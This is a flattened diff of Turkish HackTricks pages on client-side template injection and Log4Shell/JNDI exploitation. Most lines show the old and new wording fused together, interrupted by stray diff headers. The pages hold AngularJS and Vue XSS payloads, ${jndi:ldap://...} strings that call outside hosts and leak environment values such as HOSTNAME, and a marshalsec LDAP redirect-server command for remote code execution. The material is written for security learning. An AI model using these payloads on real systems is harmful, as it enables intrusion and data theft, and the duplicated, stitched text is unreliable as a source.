Bu, [**Sunucu Tarafı Şablon Enjeksiyonu**](ssti-server-side-template-injection/) gibidir ama **istemci** tarafındadır. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza olanak tanıyabilir. Bu, **Sunucu Tarafı Şablon Enjeksiyonu** ([**Server Side Template Injection**](ssti-server-side-template-injection/)) gibidir ama **istemci** tarafında. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir.
Bu güvenlik açığını **test etmek**, **SSTI** durumundaki gibi çok **benzer** bir şekilde yapılır; yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **güvenlik açığına sahipse** `0` göreceksiniz, değilse orijinalini göreceksiniz: `{{ 7-7 }}` Bu zafiyeti **test etmek**, **SSTI** durumunda olduğu gibi çok **benzer**dir, yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **zayıfsa** `0` göreceksiniz, değilse orijinalini: `{{ 7-7 }}` göreceksiniz.
## AngularJS ## AngularJS
AngularJS, HTML ile direktif olarak bilinen öznitelikler aracılığıyla etkileşimde bulunan yaygın olarak kullanılan bir JavaScript framework'üdür; dikkat çekici bir tanesi **`ng-app`**'dir. Bu direktif, AngularJS'in HTML içeriğini işlemesine olanak tanır ve çift süslü parantezler içinde JavaScript ifadelerinin çalıştırılmasını sağlar. AngularJS, HTML ile direktifler olarak bilinen öznitelikler aracılığıyla etkileşimde bulunan yaygın olarak kullanılan bir JavaScript framework'üdür, bunlardan biri **`ng-app`**'dir. Bu direktif, AngularJS'nin HTML içeriğini işlemesine olanak tanır ve çift süslü parantezler içinde JavaScript ifadelerinin çalıştırılmasını sağlar.
Kullanıcı girdisinin `ng-app` ile etiketlenmiş HTML gövdesine dinamik olarak eklendiği senaryolarda, rastgele JavaScript kodu çalıştırmak mümkündür. Bu, girdide AngularJS sözdizimini kullanarak gerçekleştirilebilir. Aşağıda JavaScript kodunun nasıl çalıştırılabileceğini gösteren örnekler bulunmaktadır: Kullanıcı girdisinin `ng-app` ile etiketlenmiş HTML gövdesine dinamik olarak eklendiği senaryolarda, rastgele JavaScript kodu çalıştırmak mümkündür. Bu, girdide AngularJS'nin sözdizimini kullanarak gerçekleştirilebilir. Aşağıda JavaScript kodunun nasıl çalıştırılabileceğini gösteren örnekler bulunmaktadır:
```javascript ```javascript
{{$on.constructor('alert(1)')()}} {{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
@ -64,7 +51,7 @@ And the **source code** of the vulnerable example here: [https://github.com/azu/
<!-- Google Research - Vue.js--> <!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div> "><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
``` ```
Gerçekten iyi bir CSTI yazısı VUE hakkında [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) adresinde bulunabilir. VUE'deki CSTI hakkında gerçekten iyi bir yazı [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) adresinde bulunabilir.
### **V3** ### **V3**
``` ```
@ -76,7 +63,7 @@ Kredi: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/resear
``` ```
{{constructor.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
``` ```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin) Kredi: [Mario Heiderich](https://twitter.com/cure53berlin)
**Daha fazla VUE yükü kontrol edin** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) **Daha fazla VUE yükü kontrol edin** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
@ -102,28 +89,18 @@ javascript:alert(1)%252f%252f..%252fcss-images
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -9,20 +9,12 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler ## Temel Bilgiler
JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiştir ve Java programlarının bir adlandırma sistemi aracılığıyla veri veya nesneleri bulmasını sağlayan bir dizin hizmeti olarak hizmet eder. Farklı sistemlerden veri alımını sağlayan hizmet sağlayıcı arayüzleri (SPI'ler) aracılığıyla çeşitli dizin hizmetlerini destekler, uzaktaki Java nesneleri dahil. Yaygın SPI'ler arasında CORBA COS, Java RMI Registry ve LDAP bulunmaktadır. JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiştir ve Java programlarının bir adlandırma sistemi aracılığıyla veri veya nesneleri bulmasını sağlayan bir dizin hizmeti olarak hizmet eder. Farklı sistemlerden veri alımını sağlayan hizmet sağlayıcı arayüzleri (SPI'ler) aracılığıyla çeşitli dizin hizmetlerini destekler, uzaktaki Java nesneleri dahil. Yaygın SPI'ler arasında CORBA COS, Java RMI Registry ve LDAP bulunmaktadır.
@ -34,13 +26,13 @@ Java nesneleri, iki biçimde gelen JNDI Adlandırma Referansları kullanılarak
* **Referans Adresleri**: Bir nesnenin konumunu belirtir (örneğin, _rmi://server/ref_), belirtilen adresten doğrudan alım yapılmasına olanak tanır. * **Referans Adresleri**: Bir nesnenin konumunu belirtir (örneğin, _rmi://server/ref_), belirtilen adresten doğrudan alım yapılmasına olanak tanır.
* **Uzaktan Fabrika**: Bir uzaktan fabrika sınıfına referans verir. Erişim sağlandığında, sınıf uzaktan indirilir ve örneklendirilir. * **Uzaktan Fabrika**: Bir uzaktan fabrika sınıfına referans verir. Erişim sağlandığında, sınıf uzaktan indirilir ve örneklendirilir.
Ancak, bu mekanizma istismar edilebilir ve potansiyel olarak keyfi kodun yüklenmesine ve çalıştırılmasına yol açabilir. Bir karşı önlem olarak: Ancak, bu mekanizma istismar edilebilir ve potansiyel olarak rastgele kodun yüklenmesine ve çalıştırılmasına yol açabilir. Bir karşı önlem olarak:
* **RMI**: `java.rmi.server.useCodeabseOnly = true` varsayılan olarak JDK 7u21'den itibaren, uzaktan nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, yüklenebilecekleri daha da sınırlar. * **RMI**: `java.rmi.server.useCodeabseOnly = true` JDK 7u21'den itibaren varsayılan olarak, uzaktan nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, yüklenebilecekleri daha da sınırlar.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` varsayılan olarak JDK 6u141, 7u131, 8u121'den itibaren, uzaktan yüklenen Java nesnelerinin çalıştırılmasını engeller. `true` olarak ayarlandığında, uzaktan kod çalıştırma, bir Güvenlik Yöneticisi'nin denetimi olmadan mümkündür. * **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak, uzaktan yüklenen Java nesnelerinin çalıştırılmasını engeller. `true` olarak ayarlandığında, uzaktan kod çalıştırma, bir Güvenlik Yöneticisi'nin denetimi olmadan mümkündür.
* **CORBA**: Belirli bir özelliği yoktur, ancak Güvenlik Yöneticisi her zaman aktiftir. * **CORBA**: Belirli bir özelliği yoktur, ancak Güvenlik Yöneticisi her zaman aktiftir.
Ancak, JNDI bağlantılarını çözmekten sorumlu olan **Adlandırma Yöneticisi**, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına olanak tanıyabilir. Bu, RMI, LDAP ve CORBA korumalarının aşılabileceği ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadgets) istismar edilmesine yol açabilir. Ancak, JNDI bağlantılarını çözmekten sorumlu olan **Adlandırma Yöneticisi**, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına olanak tanıyabilir. Bu, RMI, LDAP ve CORBA korumalarının aşılabileceği ve rastgele Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadgets) istismar edilmesine yol açabileceği bir risk oluşturur.
İstismar edilebilir URL örnekleri şunlardır: İstismar edilebilir URL örnekleri şunlardır:
@ -54,7 +46,7 @@ Koruma olmasına rağmen, JNDI'nin güvensiz kaynaklardan yüklenmesine karşı
![](<../../.gitbook/assets/image (1022).png>) ![](<../../.gitbook/assets/image (1022).png>)
Bir **`PROVIDER_URL`** ayarlamış olsanız bile, bir arama sırasında farklı birini belirtebilir ve erişim sağlanabilir: `ctx.lookup("<attacker-controlled-url>")` ve bu, bir saldırganın kendisinin kontrol ettiği bir sistemden keyfi nesneleri yüklemek için istismar edeceği şeydir. Bir **`PROVIDER_URL`** ayarlamış olsanız bile, bir arama sırasında farklı birini belirtebilir ve erişim sağlanabilir: `ctx.lookup("<attacker-controlled-url>")` ve bu, bir saldırganın kendisinin kontrol ettiği bir sistemden rastgele nesneleri yüklemek için istismar edeceği şeydir.
### CORBA Genel Bakış ### CORBA Genel Bakış
@ -74,7 +66,7 @@ Ancak, bazı satıcı politikaları varsayılan olarak bu bağlantılara izin ve
### RMI Bağlamı ### RMI Bağlamı
RMI (Uzaktan Yöntem Çağrısı) için durum biraz farklıdır. CORBA'da olduğu gibi, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi istismar etmek için genellikle Güvenlik Yöneticisi'ni aşmak gerekir; bu, CORBA'da da geçerlidir. RMI (Uzaktan Yöntem Çağrısı) için durum biraz farklıdır. CORBA'da olduğu gibi, rastgele sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi istismar etmek için genellikle Güvenlik Yöneticisi'ni aşmak gerekir; bu, CORBA'da da geçerlidir.
### LDAP ### LDAP
@ -85,7 +77,7 @@ Bir **lookup**, **bir isme bağlı olan her şeyi** almak için **adlandırma hi
Eğer LDAP araması **SearchControls.setReturningObjFlag() ile `true` olarak çağrıldıysa, döndürülen nesne yeniden yapılandırılacaktır**. Eğer LDAP araması **SearchControls.setReturningObjFlag() ile `true` olarak çağrıldıysa, döndürülen nesne yeniden yapılandırılacaktır**.
Bu nedenle, bu seçenekleri saldırmak için birkaç yol vardır.\ Bu nedenle, bu seçenekleri saldırmak için birkaç yol vardır.\
Bir **saldırgan, sistemlerin topladığına yüklenmiş yükleri tanıtarak LDAP kayıtlarını zehirleyebilir** (LDAP sunucusuna erişiminiz varsa, **onlarca makineyi tehlikeye atmak için çok faydalıdır**). Bunu istismar etmenin bir diğer yolu, örneğin bir LDAP aramasında **MitM saldırısı gerçekleştirmektir**. Bir **saldırgan, sistemlerin topladığına yüklenecek yükleri tanıtarak LDAP kayıtlarını zehirleyebilir** (LDAP sunucusuna erişiminiz varsa **onlarca makineyi tehlikeye atmak için çok yararlıdır**). Bunu istismar etmenin bir diğer yolu, örneğin bir LDAP aramasında **MitM saldırısı gerçekleştirmektir**.
Eğer bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, arama yapılacak LDAP'ı kontrol edebilir ve istismarı geri gönderebilirsiniz (log4shell). Eğer bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, arama yapılacak LDAP'ı kontrol edebilir ve istismarı geri gönderebilirsiniz (log4shell).
@ -110,17 +102,17 @@ Zafiyet, Log4j'de, `${prefix:name}` biçiminde bir [**özel sözdizimi**](https:
Anahtar içinde **: mevcut olduğunda**, `${jndi:ldap://example.com/a}` gibi, **hiçbir ön ek yoktur** ve **LDAP sunucusu nesne için sorgulanır**. Bu Lookuplar, hem Log4j yapılandırmasında hem de satırlar kaydedilirken kullanılabilir. Anahtar içinde **: mevcut olduğunda**, `${jndi:ldap://example.com/a}` gibi, **hiçbir ön ek yoktur** ve **LDAP sunucusu nesne için sorgulanır**. Bu Lookuplar, hem Log4j yapılandırmasında hem de satırlar kaydedilirken kullanılabilir.
Bu nedenle, RCE elde etmek için gereken tek şey, **kullanıcı tarafından kontrol edilen bilgileri işleyen zayıf bir Log4j sürümüdür**. Ve bu, Java uygulamaları tarafından bilgi kaydetmek için yaygın olarak kullanılan bir kütüphane olduğu için (internetle yüzleşen uygulamalar dahil) log4j'nin, örneğin alınan HTTP başlıklarını kaydetmesi çok yaygındır. Ancak, log4j **sadece HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girişi ve veriyi kaydetmek için kullanılmaz**. Bu nedenle, RCE elde etmek için gereken tek şey, **kullanıcı tarafından kontrol edilen bilgileri işleyen zayıf bir Log4j sürümüdür**. Ve bu, Java uygulamaları tarafından bilgi kaydetmek için yaygın olarak kullanılan bir kütüphane olduğu için (İnternet'e açık uygulamalar dahil) log4j'nin, örneğin alınan HTTP başlıkları gibi bilgileri kaydetmesi çok yaygındır. Ancak, log4j yalnızca HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girdi ve veriyi kaydetmek için **kullanılmamaktadır**.
## Log4Shell ile İlgili CVE'lerin Genel Görünümü ## Log4Shell ile İlgili CVE'lerin Genel Görünümü
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kritik]** ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kritik]**
Bu zafiyet, `log4j-core` bileşeninde kritik bir **güvensiz serileştirme hatasıdır**, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. **uzaktan kod çalıştırma (RCE)** olanağı sağlar ve saldırganların sistemleri ele geçirmesine olanak tanır. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından rapor edilmiştir ve çeşitli Apache çerçevelerini etkilemektedir. 2.15.0 sürümündeki ilk düzeltme eksikti. Savunma için Sigma kuralları mevcuttur ([Kural 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Kural 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)). Bu zafiyet, `log4j-core` bileşeninde kritik bir **güvensiz serileştirme hatasıdır**, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. **uzaktan kod çalıştırma (RCE)** olanağı tanır ve saldırganların sistemleri ele geçirmesine olanak sağlar. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından rapor edilmiştir ve çeşitli Apache çerçevelerini etkilemektedir. 2.15.0 sürümündeki ilk düzeltme eksikti. Savunma için Sigma kuralları mevcuttur ([Kural 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Kural 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kritik]** ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kritik]**
Başlangıçta düşük derecelendirilmiş ancak daha sonra kritik olarak yükseltilmiş olan bu CVE, CVE-2021-44228 için 2.15.0'daki eksik bir düzeltmeden kaynaklanan bir **Hizmet Reddi (DoS)** hatasıdır. Varsayılan olmayan yapılandırmaları etkiler ve saldırganların hazırlanmış yükler aracılığıyla DoS saldırıları gerçekleştirmesine olanak tanır. Bir [tweet](https://twitter.com/marcioalm/status/1471740771581652995) bir atlatma yöntemini göstermektedir. Sorun, 2.16.0 ve 2.12.2 sürümlerinde mesaj arama desenlerini kaldırarak ve varsayılan olarak JNDI'yi devre dışı bırakarak çözülmüştür. Başlangıçta düşük derecelendirilmiş ancak daha sonra kritik olarak yükseltilen bu CVE, CVE-2021-44228 için 2.15.0'daki eksik bir düzeltmeden kaynaklanan bir **Hizmet Reddi (DoS)** hatasıdır. Varsayılan olmayan yapılandırmaları etkiler ve saldırganların hazırlanmış yükler aracılığıyla DoS saldırıları gerçekleştirmesine olanak tanır. Bir [tweet](https://twitter.com/marcioalm/status/1471740771581652995) bir atlatma yöntemini göstermektedir. Sorun, 2.16.0 ve 2.12.2 sürümlerinde mesaj arama desenlerini kaldırarak ve varsayılan olarak JNDI'yi devre dışı bırakarak çözülmüştür.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Yüksek]** ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Yüksek]**
@ -132,17 +124,17 @@ Bu zafiyet, Log4j 1.x'in halefidir olan **Logback kayıt çerçevesini** etkilem
### **CVE-2021-45105** **\[Yüksek]** ### **CVE-2021-45105** **\[Yüksek]**
Log4j 2.16.0, bir DoS hatası içermektedir ve CVE'yi düzeltmek için `log4j 2.17.0` sürümü yayımlanmıştır. Daha fazla ayrıntı BleepingComputer'ın [raporunda](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) bulunmaktadır. Log4j 2.16.0, bir DoS hatası içermektedir ve CVE'yi düzeltmek için `log4j 2.17.0` yayımlanmıştır. Daha fazla ayrıntı BleepingComputer'ın [raporunda](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) bulunmaktadır.
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Log4j 2.17 sürümünü etkileyen bu CVE, saldırganın log4j'nin yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod çalıştırma içerir. Daha fazla ayrıntı [Checkmarx blog yazısında](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) mevcuttur. Log4j 2.17 sürümünü etkileyen bu CVE, saldırganın log4j'nin yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel rastgele kod çalıştırma içerir. Daha fazla ayrıntı [Checkmarx blog yazısında](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) mevcuttur.
## Log4Shell İstismarı ## Log4Shell İstismarı
### Keşif ### Keşif
Bu zafiyet, korunmasızsa çok kolay keşfedilebilir çünkü en az bir **DNS isteği** belirttiğiniz adrese gönderilecektir. Bu nedenle, aşağıdaki gibi yükler: Bu zafiyet, korunmasızsa çok kolay bir şekilde keşfedilebilir çünkü en azından belirttiğiniz adrese bir **DNS isteği** gönderecektir. Bu nedenle, aşağıdaki gibi yükler:
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (canarytokens.com kullanarak) * `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (canarytokens.com kullanarak)
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (interactsh kullanarak) * `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (interactsh kullanarak)
@ -150,7 +142,7 @@ Bu zafiyet, korunmasızsa çok kolay keşfedilebilir çünkü en az bir **DNS is
* `${jndi:ldap://2j4ayo.dnslog.cn}` (dnslog kullanarak) * `${jndi:ldap://2j4ayo.dnslog.cn}` (dnslog kullanarak)
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (huntress kullanarak) * `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (huntress kullanarak)
**Bir DNS isteği alınsa bile, bu uygulamanın istismar edilebilir olduğu anlamına gelmez** (veya hatta zayıf), bunu istismar etmeyi denemeniz gerekecektir. **Bir DNS isteği alındığında, bu uygulamanın istismar edilebilir olduğu anlamına gelmez** (veya hatta zayıf), bunu istismar etmeyi denemeniz gerekecektir.
{% hint style="info" %} {% hint style="info" %}
**2.15 sürümünü istismar etmek için** **localhost kontrol atlatmasını** eklemeyi unutmayın: ${jndi:ldap://**127.0.0.1#**...} **2.15 sürümünü istismar etmek için** **localhost kontrol atlatmasını** eklemeyi unutmayın: ${jndi:ldap://**127.0.0.1#**...}
@ -165,7 +157,7 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
### **Doğrulama** ### **Doğrulama**
Daha önce listelenen bazı platformlar, talep edildiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir.\ Daha önce listelenen bazı platformlar, talep edildiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir.\
Bu, 2 şey için çok yararlı olabilir: Bu, 2 şey için çok faydalı olabilir:
* **Açığı** **doğrulamak** için * **Açığı** **doğrulamak** için
* Açığı istismar ederek **bilgi sızdırmak** için * Açığı istismar ederek **bilgi sızdırmak** için
@ -227,9 +219,9 @@ Any other env variable name that could store sensitive information
### RCE Bilgisi ### RCE Bilgisi
{% hint style="info" %} {% hint style="info" %}
JDK sürümleri 6u141, 7u131 veya 8u121'in üzerindeki sunucular, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bunun nedeni, JNDI'nin LDAP üzerinden uzaktan bir kod tabanı yüklemesini engelleyen `com.sun.jndi.ldap.object.trustURLCodebase`'in varsayılan olarak devre dışı bırakılmasıdır. Ancak, bu sürümlerin **deserialization saldırı vektörüne karşı korunmadığını** belirtmek önemlidir. JDK sürümleri 6u141, 7u131 veya 8u121'in üzerindeki sunucular, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, JNDI'nin LDAP üzerinden uzaktan bir kod tabanı yüklemesini engelleyen `com.sun.jndi.ldap.object.trustURLCodebase`'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır. Ancak, bu sürümlerin **deserialization saldırı vektörüne karşı korunmadığını** belirtmek önemlidir.
Bu daha yüksek JDK sürümlerini istismar etmeyi hedefleyen saldırganlar, Java uygulaması içinde bir **güvenilir alet** kullanmak zorundadır. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Aksine, daha düşük JDK sürümlerini istismar etmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yükleyip çalıştırmak için manipüle edilebilir. Bu daha yüksek JDK sürümlerini istismar etmeyi hedefleyen saldırganlar için, Java uygulaması içinde bir **güvenilir alet** kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Aksine, daha düşük JDK sürümlerini istismar etmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yükleyip çalıştırmak için manipüle edilebilir.
**Daha fazla bilgi için** (_RMI ve CORBA vektörleri üzerindeki sınırlamalar gibi_) **önceki JNDI İsimlendirme Referansı bölümüne** veya [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) adresine bakın. **Daha fazla bilgi için** (_RMI ve CORBA vektörleri üzerindeki sınırlamalar gibi_) **önceki JNDI İsimlendirme Referansı bölümüne** veya [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) adresine bakın.
{% endhint %} {% endhint %}
@ -238,7 +230,7 @@ Bu daha yüksek JDK sürümlerini istismar etmeyi hedefleyen saldırganlar, Java
Bunu **THM kutusunda** test edebilirsiniz: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) Bunu **THM kutusunda** test edebilirsiniz: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
[**marshalsec**](https://github.com/mbechler/marshalsec) aracını kullanın (jar sürümü [**burada**](https://github.com/RandomRobbieBF/marshalsec-jar) mevcuttur). Bu yaklaşım, bağlantıları istismar edilecek olan ikincil bir HTTP sunucusuna yönlendirmek için bir LDAP yönlendirme sunucusu kurar: [**marshalsec**](https://github.com/mbechler/marshalsec) aracını kullanın (jar sürümü [**burada**](https://github.com/RandomRobbieBF/marshalsec-jar) mevcuttur). Bu yaklaşım, istismarın barındırılacağı ikincil bir HTTP sunucusuna bağlantıları yönlendirmek için bir LDAP yönlendirme sunucusu kurar:
```bash ```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit" java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
``` ```
@ -265,9 +257,9 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
### RCE - **JNDIExploit** ### RCE - **JNDIExploit**
{% hint style="info" %} {% hint style="info" %}
